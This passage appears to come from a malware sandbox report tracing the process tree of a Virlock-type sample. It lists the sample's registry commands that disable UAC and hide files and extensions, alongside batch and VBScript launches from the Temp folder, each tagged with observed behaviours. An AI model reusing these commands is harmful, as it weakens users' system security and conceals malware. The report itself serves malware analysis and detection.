                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                82⤵
                                                                                                                                                                                                                                                                                                                                                                                                • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                PID:6276
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                82⤵
                                                                                                                                                                                                                                                                                                                                                                                                • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                PID:6284
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\GYQcAMow.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                82⤵
                                                                                                                                                                                                                                                                                                                                                                                                • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                PID:2484
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                  cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                  83⤵
                                                                                                                                                                                                                                                                                                                                                                                                  • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                  PID:1264
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                            reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                            80⤵
                                                                                                                                                                                                                                                                                                                                                                                            • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                            • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                            PID:1968
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                            reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                            80⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:6104
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                              reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                              80⤵
                                                                                                                                                                                                                                                                                                                                                                                              • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                              • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                              PID:3956
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\qGIkwUEc.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                              80⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:1392
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                  cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                  81⤵
                                                                                                                                                                                                                                                                                                                                                                                                  • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                  PID:3160
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                            reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                            78⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:2600
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                              reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                              78⤵
                                                                                                                                                                                                                                                                                                                                                                                              • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                              PID:592
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                              reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                              78⤵
                                                                                                                                                                                                                                                                                                                                                                                              • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                              PID:4540
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ZskwAEIs.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                              78⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:7112
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                  cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                  79⤵
                                                                                                                                                                                                                                                                                                                                                                                                  • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                  PID:3908
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                            reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                            76⤵
                                                                                                                                                                                                                                                                                                                                                                                            • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                            PID:7052
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                            reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                            76⤵
                                                                                                                                                                                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                            • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                            PID:7048
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                            reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                            76⤵
                                                                                                                                                                                                                                                                                                                                                                                            • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                            PID:7044
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\XKEUQQMI.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                            76⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:6964
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                77⤵
                                                                                                                                                                                                                                                                                                                                                                                                • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                PID:5612
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                          reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                          74⤵
                                                                                                                                                                                                                                                                                                                                                                                          • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                          PID:4616
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                          reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                          74⤵
                                                                                                                                                                                                                                                                                                                                                                                            PID:6784
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                            reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                            74⤵
                                                                                                                                                                                                                                                                                                                                                                                            • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                            PID:1084
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\nMEsEEQs.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                            74⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:6872
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                75⤵
                                                                                                                                                                                                                                                                                                                                                                                                • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                PID:6852
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                          reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                          72⤵
                                                                                                                                                                                                                                                                                                                                                                                          • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                          • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                          PID:6028
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                          reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                          72⤵
                                                                                                                                                                                                                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                          PID:3200
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                          reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                          72⤵
                                                                                                                                                                                                                                                                                                                                                                                          • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                          PID:5700
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\eIQMIoUY.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                          72⤵
                                                                                                                                                                                                                                                                                                                                                                                            PID:4164
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                              cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                              73⤵
                                                                                                                                                                                                                                                                                                                                                                                              • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                              PID:2144
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                        70⤵
                                                                                                                                                                                                                                                                                                                                                                                        • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                        PID:2756
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                        70⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:5548
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                          reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                          70⤵
                                                                                                                                                                                                                                                                                                                                                                                          • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                          PID:3388
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\UwsYYUMQ.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                          70⤵
                                                                                                                                                                                                                                                                                                                                                                                          • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                          PID:2904
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                            cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                            71⤵
                                                                                                                                                                                                                                                                                                                                                                                            • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                            PID:1908
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                      68⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:1556
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                        68⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:4960
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                          reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                          68⤵
                                                                                                                                                                                                                                                                                                                                                                                          • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                          • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                          PID:1804
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\mmwcIMUs.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                          68⤵
                                                                                                                                                                                                                                                                                                                                                                                          • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                          PID:3124
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                            cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                            69⤵
                                                                                                                                                                                                                                                                                                                                                                                            • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                            PID:1692
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                      66⤵
                                                                                                                                                                                                                                                                                                                                                                                      • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                      PID:6344
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                      66⤵
                                                                                                                                                                                                                                                                                                                                                                                      • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                      PID:6360
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                      reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                      66⤵
                                                                                                                                                                                                                                                                                                                                                                                      • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                      PID:6368
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\dKoEoAAY.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                      66⤵
                                                                                                                                                                                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                      PID:6404
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                        cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                        67⤵
                                                                                                                                                                                                                                                                                                                                                                                        • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                        PID:6568
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                  64⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:1512
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                    64⤵
                                                                                                                                                                                                                                                                                                                                                                                    • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                    PID:4788
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                    64⤵
                                                                                                                                                                                                                                                                                                                                                                                    • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                    PID:4548
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                      65⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:4688
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\hiYYwQUM.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                      64⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:5116
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                          cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                          65⤵
                                                                                                                                                                                                                                                                                                                                                                                          • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                          PID:6240
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                    62⤵
                                                                                                                                                                                                                                                                                                                                                                                    • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                    PID:5688
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                    62⤵
                                                                                                                                                                                                                                                                                                                                                                                      PID:3744
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                      reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                      62⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:4732
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\EqwcgYAo.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                        62⤵
                                                                                                                                                                                                                                                                                                                                                                                        • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                        PID:4356
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                          cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                          63⤵
                                                                                                                                                                                                                                                                                                                                                                                          • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                          PID:5816
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                    60⤵
                                                                                                                                                                                                                                                                                                                                                                                    • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                    PID:7116
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                    60⤵
                                                                                                                                                                                                                                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                    PID:7124
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                    60⤵
                                                                                                                                                                                                                                                                                                                                                                                    • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                    PID:7132
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ASQcIIcE.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                    60⤵
                                                                                                                                                                                                                                                                                                                                                                                      PID:7152
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                        61⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:2464
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                          cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                          61⤵
                                                                                                                                                                                                                                                                                                                                                                                          • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                          PID:4604
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                    58⤵
                                                                                                                                                                                                                                                                                                                                                                                    • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                    PID:6836
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                    58⤵
                                                                                                                                                                                                                                                                                                                                                                                    • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                    PID:6852
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                    58⤵
                                                                                                                                                                                                                                                                                                                                                                                    • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                    • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                    PID:6860
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\eWEgUgIs.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                    58⤵
                                                                                                                                                                                                                                                                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                    PID:6880
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                      cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                      59⤵
                                                                                                                                                                                                                                                                                                                                                                                      • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                      PID:7036
